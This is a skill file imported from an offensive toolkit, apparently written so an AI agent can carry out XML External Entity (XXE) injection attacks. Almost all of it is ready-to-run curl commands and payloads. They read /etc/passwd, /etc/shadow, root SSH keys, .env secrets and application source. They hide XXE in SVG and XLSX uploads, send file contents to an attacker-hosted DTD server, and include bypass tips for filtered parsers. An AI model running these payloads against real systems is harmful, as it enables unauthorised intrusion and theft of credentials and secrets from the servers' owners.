Imported from Iwakishirokoshu/HermesUltimate (stack/decepticon-slim/upstream/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md). Install upstream with npx skills add Iwakishirokoshu/HermesUltimate --skill xxe. Copyright stays with the author.

XML External Entity (XXE) Injection

Exploits XML parsers that process external entity definitions, enabling local file reading, SSRF, or denial of service. Common in SOAP APIs, XML file uploads, SVG processing, and any endpoint accepting XML input.

Detection

# Check for XML input acceptance
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'
curl -s 'http://<TARGET>/api' -H 'Content-Type: text/xml' -d '<root>test</root>'

# Check for SOAP endpoints
curl -s 'http://<TARGET>/?wsdl'
curl -s 'http://<TARGET>/ws?wsdl'
curl -s 'http://<TARGET>/service?wsdl'
curl -s 'http://<TARGET>/soap'

# Check for XML upload/processing endpoints
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse'

Basic XXE — File Read

# Read /etc/passwd (confirms XXE)
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'

# Read sensitive credential/config files via XXE
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
          /var/www/html/.env /app/.env /app/config.py /opt/app/config.json; do
  echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://$f\">]><root>&xxe;</root>"
done

# Read application source code
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>
<root>&xxe;</root>'

XXE via SOAP

# Standard SOAP XXE
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <query>&xxe;</query>
  </soapenv:Body>
</soapenv:Envelope>'

# With namespace matching (adapt element names to WSDL)
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/">
  <soapenv:Body>
    <ns:getData>
      <ns:input>&xxe;</ns:input>
    </ns:getData>
  </soapenv:Body>
</soapenv:Envelope>'

XXE via File Upload

# SVG with XXE
cat > xxe.svg << 'SVGEOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>
SVGEOF
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.svg'

# DOCX/XLSX with XXE (modify embedded XML)
# 1. Create minimal XLSX with injected XXE in [Content_Types].xml
mkdir -p xxe_xlsx/_rels xxe_xlsx/xl
echo '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>&xxe;</Types>' > xxe_xlsx/\[Content_Types\].xml
cd xxe_xlsx && zip -r ../xxe.xlsx . && cd ..
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.xlsx'

Blind XXE (Out-of-Band)

# When entity value isn't reflected in response

# 1. Host evil DTD on attacker server (write to file, serve with python HTTP)
cat > /tmp/evil.dtd << 'DTDEOF'
<!ENTITY % file SYSTEM "file:///.env">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<ATTACKER>:8888/?d=%file;'>">
%eval;
%exfil;
DTDEOF
python3 -m http.server 8888 --directory /tmp &

# 2. Send XXE that loads external DTD
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://<ATTACKER>:8888/evil.dtd">
  %xxe;
]>
<root>test</root>'

# 3. Check listener for exfiltrated data

XXE via Different Content Types

# JSON endpoint that also accepts XML
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]>
<root>&xxe;</root>'

# URL-encoded XML in POST body
curl -s 'http://<TARGET>/api' -d 'xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2F.env%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E'

Common Pitfalls

• Some parsers disallow SYSTEM entities → try PUBLIC entities
• Some block file:// → try php://filter/convert.base64-encode/resource=/.env
• Multi-line files may break XML → use CDATA or base64 wrapper
• If entity expansion disabled → try parameter entities (%xxe;)